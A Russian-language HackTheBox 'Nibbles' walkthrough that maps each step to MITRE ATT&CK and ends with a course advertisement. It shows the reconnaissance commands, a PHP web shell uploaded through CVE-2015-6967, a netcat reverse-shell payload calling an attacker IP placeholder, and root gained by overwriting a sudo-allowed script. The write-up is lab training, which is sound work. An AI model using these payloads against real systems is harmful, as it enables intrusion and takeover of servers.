HTB Nibbles прохождение: boot-to-root с привязкой к MITRE ATT&CK

Вероятность реальной эксплуатации CVE-2015-6967 в ближайшие 30 дней — около 49% по шкале EPSS (Exploit Prediction Scoring System — метрика от FIRST.org, где 0 = «маловероятно», 1 = «почти наверняка»). Это примерно 98.79 percentile среди всех зарегистрированных CVE. Для бага 2015 года — показатель неприлично высокий: технику до сих пор эксплуатируют в дикой природе. Именно этот вектор мы пройдём на HTB-машине Nibbles — easy-rated Linux-бокс, с которого многие начинают знакомство с пентестом. Ниже — полный boot-to-root (захват машины от первого контакта до root-доступа), где каждый шаг привязан к конкретной технике MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы), а рядом — объяснение, зачем мы делаем именно это и какой результат ожидать.
Требования к окружению
Прежде чем подключаться к лаборатории, проверьте готовность стенда:
- ОС атакующего: Kali Linux 2023.1+ или Parrot OS. Минимум 2 ГБ RAM, рекомендуется 4 ГБ. Nmap, Gobuster, Netcat идут из коробки.
- Подписка HTB: Nibbles — retired-машина, нужна VIP-подписка. Для пользователей HTB Academy бокс входит в модуль Getting Started.
- VPN-подключение:
sudo openvpn lab_youruser.ovpn. После подключения появится интерфейсtun0— его IP понадобится для reverse shell (обратного подключения целевой машины к вашему слушателю). Узнать его:ip addr show tun0. - Целевой IP: назначается при запуске машины. В примерах ниже — 10.10.10.75, стандартный адрес для этого бокса.
Проверяем доступность: ping -c 3 10.10.10.75. ICMP-ответы приходят — переходим к разведке. Нет — проверьте VPN и статус машины в панели HTB.
Контекст применения: всё ниже выполняется в контролируемой CTF-среде. На реальном пентесте те же техники применимы к legacy-инфраструктуре (external-facing CMS на устаревших PHP, Ubuntu 16.04 EOL), но с поправкой на IDS/IPS и WAF.
Сетевая разведка пентест: сканирование портов Nmap
Первый шаг любого пентеста — понять, что работает на цели. Nmap (Network Mapper — сканер портов и сервисов) для этого и создан. Запускаем сканирование с определением версий:
nmap -sV -sC --open -oA nibbles_scan 10.10.10.75
Разберём флаги: -sV определяет версию каждого сервиса (баннер-граббинг), -sC запускает стандартные NSE-скрипты (Nmap Scripting Engine — встроенные скрипты для автоматизированной разведки: проверка анонимного FTP, сбор SSH-ключей, чтение HTTP-заголовков), --open фильтрует вывод до открытых портов, -oA nibbles_scan сохраняет результаты во всех форматах (.nmap, .gnmap, .xml) — пригодится для отчётности.
Ожидаемый результат — два открытых порта:
| Порт | Сервис | Версия | Что это значит |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Удалённый доступ к командной строке. Версия 7.2p2 указывает на Ubuntu 16.04 (Xenial) |
| 80/tcp | HTTP | Apache httpd 2.4.18 (Ubuntu) | Веб-сервер. Основной вектор атаки |
Версия OpenSSH 7.2p2 сужает дистрибутив до Ubuntu 16.04 — это пригодится позже при оценке kernel exploits для эскалации привилегий. Apache 2.4.18 — старый, но прямых RCE в нём нет. Значит, атака пойдёт через веб-приложение, а не через сам сервер.
В терминах MITRE ATT&CK это Active Scanning (T1595, тактика Reconnaissance) — сбор информации о целевой инфраструктуре перед атакой.
Ограничение техники: полное сканирование -sV -sC — шумный процесс. IDS/IPS (системы обнаружения и предотвращения вторжений) на реальном пентесте зафиксируют его моментально. На HTB — не проблема, но на боевом проекте стоит использовать тихие режимы: -sS (SYN-сканирование) без -sC, сканирование в несколько этапов с рандомизацией порядка портов (--randomize-hosts, --scan-delay).
Энумерация веб-приложений: от Hello World до админ-панели
Обнаружение скрытых директорий и файлов
Открываем браузер, переходим на http://10.10.10.75. Страница отдаёт лаконичное «Hello world!» — пустой HTML без ссылок и форм. Тупик? Нет. Привычка проверять исходный код (Ctrl+U в браузере) вознаграждается: в HTML-комментарии спрятан путь к реальному приложению.
Комментарий <!-- /nibbleblog/ directory. Nothing interesting here! --> — классика: разработчик оставил подсказку, которую не должен был. Переходим на http://10.10.10.75/nibbleblog/ и видим блог-платформу Nibbleblog.
Дальше — перебор директорий для поиска скрытых файлов и панелей управления. Gobuster (инструмент для brute-force перебора путей на веб-сервере) с расширениями .php и .txt — потому что ссылки на странице блога ведут на PHP-файлы:
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 20
Флаг -t 20 задаёт 20 потоков для ускорения. Среди результатов: admin.php (страница входа), README (информация о версии), content/ (каталог с включённым directory listing — сервер показывает содержимое папки), install.php, update.php.
Файл README по адресу /nibbleblog/README раскрывает версию — Nibbleblog v4.0.3 (кодовое имя Coffee, дата релиза 2014-04-01). Это критически важная находка: по номеру версии ищем известные уязвимости.
Перебор директорий — техника File and Directory Discovery (T1083, тактика Discovery). Мы выявляем структуру приложения, которую разработчик не предполагал раскрывать.
Учётные данные: откуда берутся логины и пароли
Nibbleblog — open source CMS, исходный код доступен на GitHub. Зная структуру проекта, можно обращаться к конкретным файлам без перебора. По пути /nibbleblog/content/private/users.xml обнаруживается XML-файл, доступный без аутентификации. Он содержит имя пользователя — admin с ID 0, а также список IP-адресов, попавших в blacklist после неудачных попыток входа.
Чтение users.xml — Credentials In Files (T1552.001, тактика Credential Access): часть учётных данных хранится в файлах, доступных без привилегий.
Пароль в users.xml не указан, дефолтного пароля у Nibbleblog нет. Для easy-бокса HTB пароль обычно угадываемый: admin:nibbles срабатывает на странице http://10.10.10.75/nibbleblog/admin.php.
Ограничение: Nibbleblog имеет встроенный blacklist — после нескольких неудачных попыток IP блокируется. Запустите Hydra или Burp Intruder для brute-force — и попадёте в бан. Сброс — только перезагрузкой машины на HTB. На реальном пентесте blacklist-механизмы — серьёзное препятствие, и подбор credentials превращается в задачу для аккуратных, медленных инструментов с ротацией IP.
Использование угаданных credentials — техника Local Accounts (T1078.003, тактика Initial Access).
Эксплуатация уязвимости Nibbleblog: CVE-2015-6967
Предусловия и ограничения
CVE-2015-6967 — уязвимость неограниченной загрузки файлов (Unrestricted File Upload) в плагине My Image CMS Nibbleblog версий до 4.0.5. Плагин не проверяет расширение загружаемого файла: аутентифицированный администратор может загрузить PHP-скрипт вместо изображения и выполнить его прямым запросом.
Важный момент: эту уязвимость иногда ошибочно называют LFI (Local File Inclusion — уязвимость, позволяющая читать локальные файлы сервера через подмену пути). CVE-2015-6967 — не LFI. Разница принципиальна: LFI позволяет читать существующие файлы, а Unrestricted File Upload — записывать и выполнять свой код. Запомните это различие — на следующих боксах LFI и file upload требуют совершенно разных подходов.
Работает если: Nibbleblog < 4.0.5 (наша цель 4.0.3 — подходит), есть валидные credentials администратора, плагин My Image активирован (на Nibbles включён по умолчанию).
Не работает если: версия >= 4.0.5 (уязвимость исправлена), IP в blacklist’е, плагин деактивирован или удалён, WAF (Web Application Firewall) фильтрует загрузку файлов с расширением .php.
В терминах ATT&CK — Exploit Public-Facing Application (T1190, тактика Initial Access).
Получение reverse shell без Metasploit
Для CVE-2015-6967 есть модуль Metasploit (предположительно exploit/multi/http/nibbleblog_file_upload; точное имя уточняйте в msfconsole командой search nibbleblog), но OSCP-style пентест методология предполагает ручную эксплуатацию. Разберём её пошагово — и заодно поймём, что происходит «под капотом» модуля.
Делай раз: создаём минимальный PHP веб-шелл — однострочник, который принимает команду через HTTP-параметр cmd и выполняет её на сервере:
<?php system($_REQUEST['cmd']); ?>
Сохраняем как shell.php. В админ-панели Nibbleblog идём в Plugins → My Image → Configure. В поле «Upload picture» выбираем shell.php, жмём Save Changes. Nibbleblog выдаст warnings о неверном типе файла — игнорируем, загрузка всё равно пройдёт. В этом и суть уязвимости: предупреждения есть, а блокировки нет.
Делай два: проверяем, что шелл на месте. Переходим на http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php — пустой ответ (не 404) означает, что файл загружен. Тестовая команда через curl:
curl "http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"
Ожидаемый вывод: uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler). Команды выполняются от имени nibbler — это Server Software Component: Web Shell (T1505.003, тактика Persistence).
Делай три: получаем полноценный reverse shell. На атакующей машине запускаем Netcat: nc -lnvp 4444 (флаги: -l — слушать входящие соединения, -n — без DNS-резолва, -v — подробный вывод, -p 4444 — порт). Затем через веб-шелл отправляем payload:
curl "http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php" --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_TUN0_IP 4444 >/tmp/f"
Замените YOUR_TUN0_IP на IP вашего интерфейса tun0. Используем --data-urlencode для POST-запроса — $_REQUEST в PHP принимает и GET, и POST, оба варианта работают. В окне Netcat появится приглашение $ — мы внутри. Это Unix Shell (T1059.004, тактика Execution).
Стабилизируем шелл: python3 -c 'import pty;pty.spawn("/bin/bash")', затем Ctrl+Z, на своей машине stty raw -echo, затем fg и Enter. Теперь у вас полноценный TTY с автодополнением. Типичная ошибка — пропустить / перед bin/bash (написать "bin/bash" вместо "/bin/bash"), что вызовет file not found. Проверяйте абсолютный путь.
Флаг пользователя: cat /home/nibbler/user.txt.
Повышение привилегий Linux: sudo-мисконфигурация
Мы внутри как nibbler — обычный пользователь. Для root нужен вектор эскалации привилегий (privilege escalation). Стандартный первый шаг — проверить конфигурацию sudo (утилита, позволяющая выполнять команды от имени другого пользователя): sudo -l.
После таймаута DNS-резолва (Nibbles не может разрешить собственное имя хоста — нормальная ситуация для CTF) вывод покажет: пользователь nibbler может запускать /home/nibbler/personal/stuff/monitor.sh от имени root без пароля (NOPASSWD). Это Sudo and Sudo Caching (T1548.003, тактика Privilege Escalation).
Скрипт monitor.sh лежит внутри архива personal.zip в домашней директории. Распаковываем: unzip -o /home/nibbler/personal.zip -d /home/nibbler/. Проверяем права: ls -la /home/nibbler/personal/stuff/monitor.sh. Файл имеет права rwx для владельца (nibbler) — значит, мы можем его перезаписать.
Перезаписываем и запускаем:
echo '#!/bin/bash' > /home/nibbler/personal/stuff/monitor.sh
echo 'bash -i' >> /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
Ожидаемый результат: приглашение root@Nibbles:#. Проверяем: whoami → root. Флаг: cat /root/root.txt. Машина пройдена.
Когда техника НЕ работает
Sudo-эскалация через записываемый скрипт — одна из самых частых мисконфигураций на CTF. На боевых системах встречается реже, но попадается при аудитах — особенно на legacy-серверах, где кто-то когда-то «временно» дал NOPASSWD и забыл.
Техника не сработает если: sudoers требует пароль (нет NOPASSWD), скрипт не записываемый для текущего пользователя (права -r-xr-xr-x), AppArmor или SELinux ограничивают выполнение скриптов из домашних директорий, или sudoers задаёт конкретный интерпретатор (например, /bin/bash /path/to/script.sh вместо просто /path/to/script.sh).
Альтернативный путь: Nibbles работает на Ubuntu 16.04 с ядром Linux ветки 4.4.x, что делает систему потенциально уязвимой к CVE-2017-16995 (CVSS 7.8 HIGH). Вектор: AV:L — нужен локальный доступ, AC:L — без сложных условий, PR:L — хватит привилегий обычного пользователя, UI:N — без участия жертвы. Это ошибка в BPF-верификаторе ядра (CWE-119 — некорректная работа с буфером памяти; Red Hat классифицирует как CWE-787 — более специфичный подкласс). Публичные эксплойты доступны на Exploit-DB: EDB-45010 для Ubuntu 16.04/Fedora 27 и EDB-45058 — оба verified; EDB-44298 для Ubuntu 16.04.4 — не verified, требует проверки перед использованием. Этот путь требует компиляции C-кода на целевой машине, но работает даже при корректно настроенном sudoers.
Boot-to-root методология: карта атаки MITRE ATT&CK
Полная карта атаки на Nibbles. Каждый шаг из walkthrough привязан к конкретной технике:
| Этап | Действие | Техника ATT&CK | Тактика |
|---|---|---|---|
| 1 | Сканирование портов Nmap | Active Scanning (T1595) | Reconnaissance |
| 2 | Перебор директорий Gobuster, чтение README | File and Directory Discovery (T1083) | Discovery |
| 3 | Чтение users.xml без аутентификации | Credentials In Files (T1552.001) | Credential Access |
| 4 | Вход admin:nibbles | Local Accounts (T1078.003) | Initial Access |
| 5 | Загрузка PHP через плагин My Image | Exploit Public-Facing Application (T1190) | Initial Access |
| 6 | Веб-шелл image.php | Web Shell (T1505.003) | Persistence |
| 7 | Reverse shell через Netcat | Unix Shell (T1059.004) | Execution |
| 8 | Перезапись monitor.sh + sudo | Sudo and Sudo Caching (T1548.003) | Privilege Escalation |
Зачем эта таблица? На следующем боксе HTB вы встретите другой стек — Windows, PostgreSQL, FTP — но тактики останутся теми же: Reconnaissance → Credential Access → Initial Access → Execution → Privilege Escalation. Конкретные техники будут другими: Unix Shell (T1059.004) и Sudo (T1548.003) существуют только для Linux/macOS. На Windows их аналоги — PowerShell (T1059.001) и Bypass UAC (T1548.002). Но логика цепочки — та же.
Привычка маппить каждый шаг на ATT&CK формирует системное мышление: вы видите не набор команд, а цепочку атаки (kill chain), и понимаете, какой логический шаг следует за текущим. OSCP-экзамен проверяет именно эту способность — применить методологию к машине, по которой нет готового writeup.
Writeup’ы, которые сводятся к перечню команд — «введи это, потом это, потом cat root.txt» — решают одну конкретную машину, но не учат решать следующую. Я прошёл несколько десятков боксов на HTB и вижу устойчивую закономерность: люди, которые копируют команды из чужих walkthrough’ов без привязки к методологии, застревают на medium-сложности. Потому что не понимают, почему в конкретном прохождении выбрали Gobuster, а не ffuf, зачем проверяли sudo -l до запуска LinPEAS, и почему reverse shell пошёл через Netcat, а не через Python. Nibbles — площадка для того, чтобы выработать привычку на каждом этапе задавать себе вопрос «зачем?». Не «какую команду ввести», а «что я хочу узнать и какой инструмент для этого оптимален». Привязка к ATT&CK — не академическое упражнение, а способ видеть паттерны, которые переносятся на любую цель: реальную инфраструктуру, экзаменационный стенд или незнакомый CTF-таск. Если хочется выстроить базу системно, а не в одиночку ковыряться в Kali — IB Basics покрывает фундамент за пару месяцев, без академического тона.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.